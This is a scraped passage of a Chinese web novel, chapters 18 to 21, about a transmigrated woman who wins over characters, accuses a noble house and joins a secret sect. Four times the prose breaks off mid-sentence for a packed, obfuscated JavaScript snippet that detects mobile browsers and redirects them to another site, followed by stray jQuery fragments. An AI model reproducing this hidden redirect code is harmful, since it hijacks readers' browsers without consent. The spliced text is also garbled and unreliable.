根据她看过为数不多的情感小说来推测,她觉得关系确定的那一刻——表白,恋爱,结婚——都不代表什么。之后的生活看上去是否能幸福,那才是重点。
而她和某人现在的状态,跟某些为了成为居民而假结婚的人也没什么两样,能HE才有鬼了。
不过这不是她目前关注的重点。
「这不是什么是啊!」
伊斯特对系统的抗议声置之不理,支着手杖,俯下身,视线扫过纸张上的名录:“这是过去一个月内兰登先生全部的随从吧?”
被按在地上、少了几根手指的人从嗓子里挤出混着哭腔的“是”。
“早这么配合多好。”她赞许道,“麻烦你带着我手下的人,去把他们都请过来吧。”
……
对,他们在毫无证据地抄兰登家。
这个看上去反了天的建议是伊斯特提的:反正能重来,她个人是无所谓的。至于出力的那个,在听完之后沉思了几分钟,然后面无表情地一点头。
理论上来说,走到这种地步没罪证也得查出来了。因此,当属下捧着什么东西过来,请他们辨认的时候,伊斯特几乎是下意识地看了一眼捷柯。
这不是我们伪造的吧?
她用眼神这么问道。
从对方的反应来看,眼神好像不能作为一种语言。
捷柯对着她翻了个白眼,劈手夺过了那个盒子,堪称粗暴地把锁砸开了。
里面赫然是一把特质弩箭。
它静静躺在暗色绒布上,弩身比制式规格修长一截,由深色硬木与冷钢铆接而成,触手冰凉,泛着哑光。弩尖被一对反向嵌套的钢臂撑起,显然经过加固锻造。
弩身上方,加装了一套精密的黄铜瞄准机构。可调节的窥孔连着前端的立柱准星,旁边还附带有刻度精密的小型旋钮,用于校准风偏。每处部件都打磨得一丝不苟,闪烁着金属特有的、毫无温度的锐光。
一旁散放着几支箭。箭杆笔直,尾羽修剪得极为规整,箭头骇人得夺目——三棱锥形的尖锐箭簇闪着幽微的蓝光,表面带着细细密密的倒刺,一旦没入躯体,必将造成撕裂性的恐怖创口。
整把弩没有任何多余装饰,每根线条都只为唯一的目的服务:精准、高效地终结生命。它静默无声,却散发着一种令人心悸的冷酷美感。
“成了?”伊斯特不可置信地掐了一下胳膊,“这和买彩票中了有什么区别?”
没人问彩票是什么。被她狠狠掐了一下的捷柯看上去也很惊讶,甚至先缓了几秒,才把她的手拍掉。
“……别有下次了。”
推门等她出去、二人身形相侧时,他冷声道。
豁,她真要再掐一下又能怎么样?
*
意料之外又情理之中的是,经过专业比对,那把弩完美地符合一切特征,甚至能叫她带着几分幻痛地,隔着纱布和伤口对上。
在前往朝议的当天清晨,他们不约而同地披着尚未耀眼的日光,驻足在会议室。
捷柯盯着那个厚厚的文件夹发愣,指尖虚虚划过封口的火漆印,没有触上;好像里面的纸张不是熬了几个晚上整理出来的证据文书,而是条会随时钻出来咬人一口的毒蛇。
伊斯特倚在一旁的墙边,双臂环着,无所谓地笑了:“不想交就不交呗,倒是第一次见你这么迷茫。”
“面对聪明人就没必要从头解释了。”他略显怔怔,视线没有移开,“……我想我们都清楚这是个台阶。”
“或者我们就是运气好得不得了,连续几个几率渺茫的步骤都环环相扣……”她说着,情
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886439|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不自禁被自己的话逗笑了,“好吧,不是影耀会递过来的台阶还能是什么?他们断尾求生,我们大难不死;他们繁荣昌盛,我们加官进爵。”
一直以来,捷柯都显得阴沉凌厉,叫人想起暴雨积云里一闪而过的电光;每次他站在晴天白日底下都很违和,好像太阳难受,他也不爽。
但此时此刻,浅淡的日光映在他的眉眼边,在皮肤上投下层宁静的光纱,又被黑发垂落的阴影隔开……在一片平和中,他轻轻吐出口气,像是想笑。
“……你在暗示这是双赢?”
“我在指出这是交易。”伊斯特轻飘飘地咬住句末的词,“未达成的交易。而交易的本质不是互利互惠,是互相约束。”
“对,你又说对了。”捷柯苦笑着,揉乱了额边脸侧的黑发;没有那些后天覆上的尖酸刻薄时,他的嗓音其实很干净,“这是他们递来的台阶……但我总觉得更像缰绳。”
伊斯特轻轻笑了一声,没打断他。男人半闭着眼睛,喃喃似的接着说了下去。
“——接着查下去,能收获什么?惨死,打压,走在街上的每分钟都不得放松。现在见好就收的话,前途一片坦荡……”
他说着,停顿了好几秒,然后抬起眼睛,直直地望向她。
“你觉得该怎么做?”
被提问的人歪了歪头,向后仰去,发丝水一样滑入晨光熹微;视线相对,她放任自己眼底的榛色弥漫在对方的视野里。
“我听说,一个人问别人的问题的时候,其实心里早就有偏好了。”伊斯特微笑着,语气温柔地一针见血,“句子出口的那一刻,只是希望对方坚定自己的立场而已。”
“那你觉得我的立场是?”
“这不是废话吗?”她温声刺道,“为什么要把判定权交到我这里?你是犹豫得失去理智了,还是开始盲目地信任我了呢?”
令人意外的是,捷柯没有反驳。两个问题都没有。
他们陷入了沉默。不是那种踟蹰不定,犹豫还转的沉默;更像是一股蓬勃而极具侵略性的沉默。低啸着涨满四周,如同某种看不见的火焰,蔓延开来,几乎能听见偶尔噼啪一声。那是大火吞卷万物之前,整个世界屏住呼吸的、灼烫的安静。
捷柯望着她笑了,斩钉截铁地开口:
“我要他们死。”
他的眼睛像一簇冷芒,既执着,又狂妄,深陷在眉骨的阴影里,却仿佛点燃了身后的墨蓝天幕。
一直烧,一直烧,与天俱焚。
她勾起嘴角:“好啊。”
于是他们割开那个火漆印,把所有要补充的事写了进去,来到朝议,提交了这个观点和所有关联证据,然后当着所有人的面毫不留情地说完了。
伊斯特扫视全场,掠过一张张或震惊,或阴沉,或不动声色的脸孔——她知道,那无声的浪潮之下,藏着多少欲将二人撕碎的暗礁。
然而,身侧人的笑容依旧毫无温度、甚至带着几分轻慢的狂意。他接过她的句子,声音不大,却足以让每个字都钉入这片令人窒息的死寂里:“我们的陈述到此结束。”
没有侧头,也没有言语。两人依旧目视前方,却好像能在余光中看到对方的眼睛。
只有彼此能感知到的视界里,燃烧着灼人的焰辉:那是毫不掩饰的野心,是捅破天后极度兴奋的战栗,是即便与全世界为敌又如何的狂妄默契。
在权力和敌意的深潭里,他们并肩而立。
「恭喜宿主,成功攻略角色——【捷柯】。」
19. 第 19 章
伊斯特睁开眼睛,周围是皇家花园。
「恭喜!」系统在她脑子里放烟花,「波浪线o左括号重复记号单引号三角形单引号重复记号右括号o!」
「这什么玩意儿?」她一边拍掉杰奎琳手里的蓝莓司康,一边质疑道,「你终于出bug了?」
「是数据库里的颜文字,好像不应该那么念……」系统尴尬的纠正,然后重来了一遍,「恭喜宿主又成功攻略一名对象!胜利指日可待了!~o(〃''▽''〃)o」
就像被一阵风刺挠了一下,她总感觉哪里不对;但转瞬间没抓住那阵直觉,干脆抛之脑后了。
「又是错误的?」伊斯特对这件事已经是习以为常的疲惫了,甚至都没升起一点怒气,「你至少告诉我总共有几个?」
系统不说话了。她在心里翻了个白眼,熟练地提起裙摆行礼,然后垂着眼皮,视线快速略过对面招人讨厌的身影和恬静无言的身影。
伊斯特在原来的世界从不买乐.透,但她感觉此刻的情况有点相似。
「这两个谁看上去正确一点?」
「我不能告诉您。」
行吧。纯看眼缘的情况下,伊斯特不用花半秒就能决定好——真的会有人在他们两个之间选瑟亚铎吗?
哪怕珈黛利亚相处下来是个披着人皮的变形怪,那也比她哥哥强二十多倍吧。
就在这个时候,她感觉有视线落在自己身上。
伊斯特抬头,对上一双天空般澄澈的蓝眼睛。
那片湛蓝太浓郁了,其间融融的感情几乎要溢出来:洛兰特望着她的模样,简直就像一整片天穹涌近前来,满怀柔和与惶恐,轻轻把她拢住。
?
什么时候变成这样了?
上周目是这样吗?伊斯特试图从记忆里提取出上次他的神情,却只回忆起了解离时的视野:残肢,断臂,模糊的血色。
「您看不到的我也看不到,而且我数据库空间空余不足,不可能每个画面都保存……」系统在被她问到之前就开口了,「但我觉得这是好事啊!」
「你就那点废物功能还内存不够?你早点把自己删了对大家都好。而且……」伊斯特在心里冷哼一声,「不在我掌控范围内的都是坏事。」
真是百思不得其解:她几乎是完全复刻着一周目的行动路线来的,为什么面前这家伙差别这么大,跟赛博精神病入脑了似的?
她直直盯了回去,皮笑肉不笑地半扯起嘴角。
望着她的视线更复杂了,可能那双眼睛的主人自己都没意识到。
洛兰特轻轻吸了口气,神情仿佛一个被火焰灼伤的寒冬夜行人:瞬息间为痛苦所噬,又不愿意,或者说,不舍得,缩回手。
他的所有反应都像无意识的。
伊斯特很少有觉得自己不够聪明的时候,但此刻,她脑子里密密麻麻的问号能把这个小花园当场淹了。
……到底发生什么了什么啊?
*
人生为什么没有一个跳过键呢?
要是有的话,伊斯特能把它按出火星来。可惜没有,所以她没法把这段时间跳掉,只能麻木地又一次解释情况,又一次坐车回家,又一次站在洛兰特一起等朝会开始……除了没给身旁这人好脸色看以外,几乎和一周目一模一样嘛。
“身旁这人”一点都没有被讨厌了的自觉——或者他意识到了但选择接受,就像蓝天毫无怨言地包容一片乌云——视线始终温和地笼在她肩头,仿佛放不下心。
伊斯特掸了掸袖口,试图拍掉他的注视似的。
好在银发蓝眼的美人又一次上来请罪了,她索性把注意力都集中在奥妮克丝身上,不去管身边的人了。
真的很漂亮。
可能是因为穿越之前,周围的人往往打扮得比较光污染,她对这种望之如见雪原湖泊的相貌毫无抵抗力。
被奥妮克丝提到名字的时候,简直像被一个迷梦拂过眉眼。
“我愿意。”伊斯特不仅没有犹豫,甚至差点提前说出口。
圣女微微侧过头,看向她;那双雾蓝色的眼睛微微睁大了,好像惊讶于她的热切配合:“……你愿意?出于负责,我必须要提醒你,摩根那小姐,决定之前应当考量其中利害才是。”
反正本来也该走奥妮克丝的线路了嘛。
“好的好的,愿意愿意,”她敷衍道,“而且我保证这不是见色起意——”
嘶,一顺口说出来了。
如果说本来朝堂上紧绷、惶恐、风雨欲来,那么在她乱说话后,现在的气氛就比较奇怪了:紧张里混杂了部分的尴尬,笑也不是,不笑也不是,最后陷入无语的沉默中。
奥妮克丝真的不愧是干这行的,脸上一点异色都没有。她敛了敛眼睫,嘴角似勾非勾,平静地点头示意:“……那以后就多麻烦摩根那小姐了。”
伊斯特装作无事发生地对奥妮克丝眨了眨眼,快速瞥向旁边。
还好她这个人脸皮厚。
她维持着这种厚颜无耻的状态回家,又一次敷衍了千篇一律的担忧询问,认真地考虑了一下要不要为了少回答问题而杀掉父母,在得出划不来的结论后,用柜子堵住窗,躺上柔软的床,一觉睡到了第二天中午。
*
伊斯特在前往教堂的路上。
和大部分贵族宅邸一样,摩根那家在中心区,一个集合所有上层权力机构的地方——教廷自然也在其列。因此,从她家到教堂完全可以散步过去。
她闲庭信步地东逛逛西逛逛,顺手摘了片由绿转红的叶子,就在这时被人拍了拍肩。
“不信教不搞环保不为慈善事业做贡献,不借贷不投资没仇人也没兴趣变更工作单位。”她习惯性地说完了,才侧目打量这人,“有什么事吗?”
拦住她的是个平平无奇的男人,身高体型衣着都是中等,相貌丢到人群里找不出来。如果没名字的npc有长相,那一定是她面前这样。
面目堪称模糊的男人顿了顿,好像被她熟练的拒绝推销贯口呛到了:“……”
在第一个音节卡壳之后,他勉强重新压低嗓音,“没事,认错人了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886440|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“那你视力很差了,”到现在没见过第二个水母头的伊斯特坦率直言,“下次注意。”
她接着散步,比约定时间早两分钟地抵达了教堂。还没等她敲,门就自己开了。
上周目怒斥她没人性的神父拉着门,对她轻轻颔首示意,露出一个温和的微笑:“摩根那小姐,圣女在等你,请跟我来。”
哇,她上次的阵营确实很不受人待见啊。
伊斯特非常不习惯地跟着走了进去,在眼熟的会客室落座,很宾至如归地给自己倒了一杯喝过好几次的茶。
透过蒸蒸烟汽,她和那双雾蓝眼睛对上视线。
奥妮克丝安静地望着她,甚至超过了社交礼仪一般该对视的时长。
伊斯特有点弄明白这人在想什么,把身体越过桌子,凑近了些观察;然后不出意外地,什么情绪都没看出来。
她坐回原位,为了让尴尬的沉默变成尴尬的对话,犹豫着乱开口:“茶不错?”
“谢谢。”奥妮克丝礼貌地回答,很自然地抬起手,把她的杯子加满了。
……这不是她的本意啊!
显得在蹭吃蹭喝的伊斯特转移了话题:“你之前说的东西我带来了。”她伸手进口袋,“我把记得的特征都写下来了。”
对,协助调查从奥妮克丝问她目睹到的可疑人员具体长什么样开始。第一个问题她就无法回答。
“话先说在前头,只是匆匆一瞥啊……”伊斯特一边打预防针,一边准备掏昨晚写好的信纸出来,递到对面,“喏……嗯?”
在她的口袋里,不知道什么时候多了一张纸条,静静地躺在那里;纸张特有的触感擦过她的肌肤,在指尖上一划而过。
“怎么了?”奥妮克丝轻声发问。
“没事,”伊斯特若无其事地把对折好的信纸拿了出来,递过去,“给你。”
圣女接过纸张,展开,看了两分钟。
不就三行吗,这么久?
伊斯特没有把这句话问出来,主要因为这么短这是她的问题。
“要么是一个浅肤色的少数族裔,要么是一个深肤色的主流族裔;”奥妮克丝面色不变,平静地念出了纸上的内容,“中等身量,是一个略高的女性或者略矮的男性;脸没看清,穿着很普通。”
她的语速又柔又缓,就好像这堆废话里每个字都值得斟酌。
弄得伊斯特都有点不好意思了——她瞎编得确实挺敷衍的。
“啊,对,”伊斯特点了点头,“就是这样。”
奥妮克丝抬起眼睛,望着她,好像想说什么,最后只是轻轻叹了口气:“辛苦了,你再见到那个人能认出来吗?”
伊斯特毫不犹豫地点头:“能。”空集也是集合嘛。
告别奥妮克丝,离开教堂后,她总算有机会看看凭空出现在自己口袋里的东西了。
确认四下无人,伊斯特抽出纸条,对着光展开。素白的纸张上赫然落着两行标准的花体字:
“明日正午,海德公园。”
“——你仍有机会窥见世界的真实。”
20. 第 20 章
买过违禁品或者抓过违禁品贩子的人,应该都知道,这种交易最忌讳见光。
约会完全可以定个时间地点,在酒吧对着聊;但你硬要在交易的时候想起心理医生的嘱托,决定对世界敞开心扉,只会被钓鱼执法,人赃并获。
要么隔槛望日,要么尸体被往小巷里草草一丢了事的时候,大概都会后悔太过信任他人吧?
因此,市面上比较流行的做法往往是定下接头时间地点,然后让对方苦等。买家非常呆傻地坐着等人,卖家做贼心虚地藏在附近,几乎已经成了惯例——这样至少不会被抓嘛。
当然,你要说你在旁边观察了一小时还能看不出陷阱,那纯纯是你自己的问题了……尽早考虑转行吧,违法犯罪不适合你。
那有人会问了,要是我的卖家遭遇不测来不了了,我却以为她/他在观察我,然后在长椅上坐到地老天荒,那该怎么办呢?
确实会有这种情况,在犹豫要不要一走了之的时候,你可以在心里编写一段相关科普,来打发时间。
「这就是为什么你说了五分钟的地下交易需知吗!」系统忍无可忍地打断了她,「宿主,求求你了,我们回去吧,我真看不出在公园等人和攻略有什么关系。」
「这就是你看不懂了。」
「……」
「……」
「后面的话呢!倒是解释啊!」
「先别管这些不重要的,」伊斯特人为忽略了「哪里不重要啊」的反驳,打了个哈欠,「我等多久了?」
「二十六分钟。」
「那快了。」
「……你刚刚不是说一小时吗!」
「你听了啊?」伊斯特大为赞赏,「你是我见过最上进的智能体……之一。」
其实道理很简单。
虽然一直拿地下交易打比方,但是“窥见世界的真实”远没有两百克海■■好抓,这是其一。她和对方没有约定任何物质上的你来我往,这是其二。这件事几乎完全是单方面的,她来不来完全看心情,等久了自然也会不耐烦,这是其三。
「综上所述,顶多半小时吧,能等这么久我也挺吃惊的,看来给我塞纸条的人已经很谨慎了……」
就在她进行幼儿教育的时候,耳畔被一阵气息打上,连带着一句低低吐出的话:
“不要——”
伊斯特把编来打发时间的草环随手一扔,侧过头,对着不知何时出现在身后的人笑了笑,“中午好呀。”
“……回头。”对方这才把后半句话说完。
来者身披斗篷,嗓音冷淡,可以姑且听出是个女人;兜帽投下的阴影低低地挡住她的面部,只留下暗色的唇。
“诶,那我现在转回去?还是说让我别转回去呢?”伊斯特厚颜无耻地歪了歪头,“是不是打搅你本来的计划了?真不好意思,现在还需要我做什么吗?”
女人几乎是下一秒就扎进了这个切口间:“需要你安静。”
伊斯特抿住嘴唇,抬起手一拉不存在的拉链,表示自己知道了。
“我问你答。为什么来?”
“有人叫我就来了呗,反正也没正事干;再说了,我还是很想窥见世界的真实的……说起来,是你写的纸条吗?”
女人置若罔闻,抛出下一个问题:“为了追寻它,你能做到什么程度?”
“我想想啊,杀个人应该还是没问题的。自杀肯定不行。”伊斯特笑眯眯的,“好像不是很符合你们的作风哦,我还能入会吗?”
身后的人下意识动了动,兜帽发出细微的布料摩擦声。她看不见这人的表情,但也知道这是一个震惊之下的确认动作。
空气一时间陷入紧绷的沉默中。
“别惊讶,”伊斯特宽慰道,“你没露出什么破绽,是我太聪明了嘛……要是这样影响不好的话,你算我面试过了,入职之后我可以装作没看出来。”
没有回答。一本书落在她肩头;硬质的书脊隔着外衣硌过皮肤,滑入她手心里。
“真有那么聪明的话,我今天就没必要来。”女人冷声讽道,“三天后的晚上,地点在书页间。”
对方毫无温度地勾起唇角,起身离去:“不是每个人都有幸得到第二次机会,好好珍惜。”
伊斯特目视着人走远,不可置信地低下头,盯着手里的《本源圣训》。
……不会是她想的那样吧?
她一把扯下封皮,意料之外情理之中地看到,在封皮和书册间,藏着一张挖孔白纸。
不用仔细看也知道,和她衣柜里那两件套配置一模一样。
很多细节突然全连上了。
……
她穿越过来之前这小姑娘到底在干什么啊!
*
尽管伊斯特很想立刻到三天后,工作还是要继续。当说工作的时候,她其实指的不是原本美好的公司岗位,而是被迫接受的攻略任务。
这正是为什么她此刻在路边一家咖啡店偶遇瑟亚铎。
为什么知道他会出现在这里呢?很简单,她上周目杀人放火的时候顺便找人跟踪了这小子。
“全奶,两颗方糖,谢谢……”伊斯特撑着脸,想了想,把自己的杯子扯了回来,“你猜怎么着?要不我自己来吧。”
咖啡壶已经端起来了的拉芙怒瞪着她:“很烫的!”
“没事,我不倒那个。”伊斯特把杯子里倒满牛奶,又加了糖,用银色小勺搅了几圈,喝了一大口,“美味。”
“……你的口味好恐怖。”拉芙啧啧称奇,“怎么变成这样了,以前不是纯黑吗?”
这小姑娘搞邪教就算了,还喝得这么苦?
“我长大了。”
“没听说有谁越长吃得越甜的呀?”
“我性格成熟了……吧。”
“那确实诶,”拉芙捧着杯子赞同道,“你以前好阴沉的。”
真的假的,这姑娘以前到底什么样啊?伊斯特还想追问两
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886441|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
句,但是她等的人来了。
大门被推开,风铃清脆一响,午后明亮的阳光从间隙里推搡涌入,在木质地板上碰撞出温暖的悦动。
瑟亚铎·墨罗温踏了进来。
他依旧是那副矜傲的派头,不紧不慢地掠过微风、闲谈、和为他开道的人群,牛皮靴在硬木上打出一响一响的韵律。
直到慢悠悠地走近了,他才微微垂眼,瞥向伊斯特。
伊斯特看着他。斜映着她的那双眼睛里,还是满片雪松水绿,在阳光下显得熠熠生辉,溢散出一种典雅的明芒。他的发丝比寻常金色浅上太多,更像晕影,而非色彩。
其实这家伙生了一副好相貌嘛……
她正想着呢,瑟亚铎开口了。
“让开,你占了我常坐的桌子。”
……
什么晕影,什么雪松,立刻全都消失了。
面前这个没情商的东西要是个哑巴的话,应该会蛮受欢迎的吧?
伊斯特脸上一点被冒犯的不满也没有,只是严肃地开口:“你先不要说话。”
“你让我不说我就不说?”瑟亚铎冷哼一声,等了两秒,“……怎么了?”
“你怎么会没有发现?”她惊讶地反问,“刚刚那段间隔里?很明显的啊?”
瑟亚铎皱了皱眉,又沉默了一小会儿,耐心耗尽了:“到底是什么?”
伊斯特煞有其事地叹了口气,很不情愿地开口解释。
“没有你的噪声的时候,很宁静,很舒服呢。”
又过了半秒。
瑟亚铎腾的一声炸了。
“你怎么敢?”他嗓音里丝丝缕缕地夹杂着怒气和喘息,但句子反而拖得更长了,“自以为是的家伙,你——”
“至于吗?”伊斯特轻飘飘地打断他,“不就是一张桌子吗?发这么大火?你想要给你就是了。”
她拍了拍旁边瑟瑟发抖的拉芙,示意对方拿着杯子走人,“我们去旁边坐好吧,小殿下?”
这段话的语气关怀备至,以至于更气人了。
总算能逃离恐怖的争端局面,拉芙的神情轻松喜悦起来。她迫不及待地端着杯子,猛地站起身;要不是只有两条腿,估计现在能飞出去。
“等等。”
拉芙脸色一白。
“我突然觉得,二位小姐坐在这里也不错。”瑟亚铎落座,身子后仰,不紧不慢地笑了笑,“正好认识一下……提醒我,你们分别姓什么来着?家里人又所任何职?”
伊斯特叹了口气,抬起手,像推一个弹力球一样,把面无人色的拉芙推远了:“你走吧走吧,假名字小姐。”
现在这张桌边只坐了两个人。从头到尾都没站起过身,伊斯特给自己加满杯,悠闲地抿了一口。
“伊斯特·摩根那,不是很高兴认识你。”她单手撑着脸,“其实在你差点死掉的那天我就报过全名,但殿下的记性似乎……”
后半句陷入了嘲讽的沉默里。
21. 第 21 章
面试——大部分入职都要经历这一环,其中又只有少数会比较愉快。
伊斯特还记得当年去面试的时候,也算是压力面吧:进门的人已经是经过选拔的了,依旧只有一小半活着走出去,成为人见人憎的公司狗;剩下的,运气好,沮丧归家,运气不好,往外一抛。
现在回头想想,那是多么严格、合理、有逻辑的面试啊!这就是大公司的气魄!
有哪个正经团体会搞那种莫名其妙的测试:幽暗的长廊,摇曳的烛火,不露脸的面试官,莫名其妙的解密……
她一边打开羊皮纸,念出上面的谜语,一边腹诽道。
“The poor have me, the rich need me, if you eat me, you''ll die.”
无语了几秒钟,伊斯特才勉强开口:“答案很明显是Nothing。你们缺写谜语书的可以去大街上发招聘广告。”
她看了一眼暗木长桌后面的人,认真考虑了一下要不要转身就走:“这最好是在开玩笑。”
“……正如刚刚所说,此处有一则谜语,”被她中途打断的考官深吸一口气,重复道,“而如果你能有些耐心,就会知道,任务并非解谜。”
她的考官好像是那天来接头的女人,虽然实在分不清——这里烛光幽微就算了,还披着厚重的丝绒斗篷。考官女士静静站在桌后,优雅地抬起手;随着漆黑的布料从腕间滑落,她做了个翻转的手势。
“哦哦,对不起对不起。”伊斯特一边敷衍道歉,一边把羊皮纸翻了个面,轻声读出上面的字。
“让他只吐出这个回答,不论被谁问起。”
她放下卷面,抬起头,不出意外地看到,原本是墙的地方裂开了一个入口,节节下坠的楼梯回旋着,跌入黑暗之中。
这到底什么地方啊?由于来的时候被蒙着眼睛,伊斯特只能看装潢推测出自己身处一个庄园,对于面前酷炫的建筑设计从何而来毫无头绪。
放下无关重点的好奇后,她接过考官给的钥匙,走下台阶,打开牢门,见到了自己的考题。
一个面色昏黄的男人,衣服做工不错,但被斑斑血迹掩住。他身上没什么外伤,看来动手的人活做得很细……这说明,她最好也别留下痕迹。
自己不是穿来恋爱攻略的吗,为什么比在公司上班见血还多?
好吧,仔细一想好像也没有。
伊斯特在心里轻轻叹了口气,走过去,拽住男人的头发,对着那张被迫扬起的脸,温声问道:
“你妻子怎么样了?”
*
她花了不到半小时。
没什么特殊的。业内把估测职员会不会反水叫风险评估,而作为半个中层,这种事她穿越之前一周起码要做一次。反过来也是一样的道理。
“我通关了吗?”伊斯特扭过头,迫不及待地问考官。
就算对她像打游戏一样的轻佻语气有所不满,对方也没表现出来。考官女士只是从袖子里抽出两张牌,倒扣在桌面上,沉稳地示意她选一张。
“这是最后一步。一张对,一张错。”考官言简意赅,“没有任何线索,只是随机选择而已。”
伊斯特“啊”了一声:“然后我要二选一?选错了前功尽弃?”
考官点了点头。
这合理吗?她在心里质疑着,顺手在离自己近的卡牌上一点:“这个吧。”
好像被她的当机立断迎面拍愣了,考官没有伸手去揭晓结果,而是重新开口:“你确定?”
“怎么了?”伊斯特比她还疑惑,“干嘛,你骗我了,其实不是随机的?”
“……对你是随机的。”
“那为什么叫停?噢,不会要变成三门问题吧,可是这里只有两张牌——”
就在这时候,不知道是不是幻觉,她隐约听到了朦朦胧胧的笑声。
她抬起头,想看这是不是考官的声音,却只看到对面骤地静默下来,翻开了她选的那张牌。
泛着哑光的漆黑牌面上,暗金色的纹路勾勒出一盏影中的提灯,将熄未熄,在周遭映亮了诡秘的幽光。
“恭喜。”考官语气里没有惊讶,不带感情地说道,“随我来。”
话音落下的时候,对方已经熟练地转过身去,走到窗帘前,恭谨地拨开了那块暗色帷幕。天鹅绒细碎的摩擦声卷过,原本怎么看都是窗户的地方,竟然露出了一帘之隔的隐藏房间。
领着她走进去的女人早已垂下头:“尊主。”
顺着敬惧流淌的方向望去,壁炉边静静站着一个人。
好像连影子都带着莫测的重量,压得炉光模糊了三分,惶恐不安地飘摇着。
伊斯特在心里按住了挥挥手说嗨的念头。
身披斗篷的人影转过身来,立在那里,可见而不可及;举止从容自得,衬得阴影好像也化为浮光,在此人周身流淌逸散。
性别,年龄,一切表征都看不出来,仿佛深渊缝隙间涌动的黑暗,你有幸目睹,它便予你一瞥,深不见底,无所捕获。
能感觉到的视线笼上了她:“辛苦了。”
他的嗓音很特殊,听不出性别,听不出年纪,甚至很难听出种族,带着一股冷淡的非人感。就好像迷蒙的雾气对着你伸出手,轻柔又不可抗拒地将你扯过去,叫你与它一同沉浮,直到永恒。
考官女士得到示意,退了出去。房间里只剩下他们两人。
“我有个问题,”伊斯特开口,“刚刚那一大团乱……繁复的步骤,每个人来都要经历一次吗?”
她视线转了一圈,没找到椅子,只好站在原地接着问:“我以为你们是一个上层共同利益结构体?难道那些位高权重的人也要通过这些测试?”
“那你位高权重吗?”他语气称得上循循善诱。
伊斯特被噎得沉默了。她全身上下只有姓氏勉强沾得上这个词的边——财政大臣这官职本身也没有多权倾朝野,更别说不是她的。
“没关系,会有那一天的。”被称作尊主的人好像看出了她的思绪,吐字轻而缓,语调既安抚又疏冷,“我对你的期望,可不仅仅是身居内阁这么简单。”
好典型的扩大期望,看似特殊,实则模糊……真不愧是把利益共同体一转精神信仰的领袖。但是关于这人的真实身份,却又什么线索都没有。
这么想着,她抬起眼,试图捕捉一些有用的信息。
昏暗的大厅
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886442|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里,炉光垂落,映亮了一片地板,他的靴尖、袍角被镀上层柔边;光攀到半身处,渐渐气力不济,消黯在无边深影中。他的面孔与兜帽下一开一合的双唇,一起沉在幽黑里,看不分明。
“喜欢看我吗?”
伊斯特迅速低下了头。
这次进度还不错,没必要死在这里。她在心里拉起一个大大的“适可而止”横幅,提醒自己不要顺应天性随心所欲。
对方好像笑了一声。“别害怕,姐妹,”标准的教派用词,但是被邪教团体用的比正教多,可能越心怀不轨越强调凝聚力吧,“既然你与我一般,此刻身处阴影之中,那我们就目标一致……Together we shine。”
哦,咱们的标志语是这句是吗。她没问出口,有样学样地复述道:“我们一同闪耀。”
这位尊主听上去很满意:“欢迎。”
完了,面试通过了还是不知道企业文化强调什么。
伊斯特很想把原身叫过来,摇晃一下小姑娘,问问她当时听到的宣传到底什么样——现在问要么被发现端倪,要么被当成记忆力有问题的傻子。
思索了一下,她慢慢开口:“我是否可以理解为,我们团结在共同的信念下?与兄弟姐妹们交谈时,应当默认他们也坚信我被启迪的思想吗?”
“很遗憾,会里不是每个人都秉持九罪论。但与会众交谈时,你大可以如此预设;倘若遇上少数,那便是他们的问题,而非你的。”
哦,原来的那些共.济.会式成员没来得及改信是吧。
尊主对她的腹诽一无所知,接着说了下去:“此外,即使我由衷希望,未经启迪的盲目之人会越来越少,也不要对外有任何的泄露……九罪论反教廷,你是知道的。未开目者听到我们的理念,比起仔细思考,恐怕会先被惊惧遮蔽双眼。”
事情到这一步,就挺明显的了——罪论,条数还和源者数量一样?应该是一个反转版本的正教教义吧。
“我的职责是什么?”伊斯特问道。
“现下,两处有所空缺。不过还是容许我先了解你一些吧……九种罪中,你最憎恶的是?”
……还好刚刚试探了一下。伊斯特急中生智地回忆本土圣经:源者各自对应的品质是什么来着?
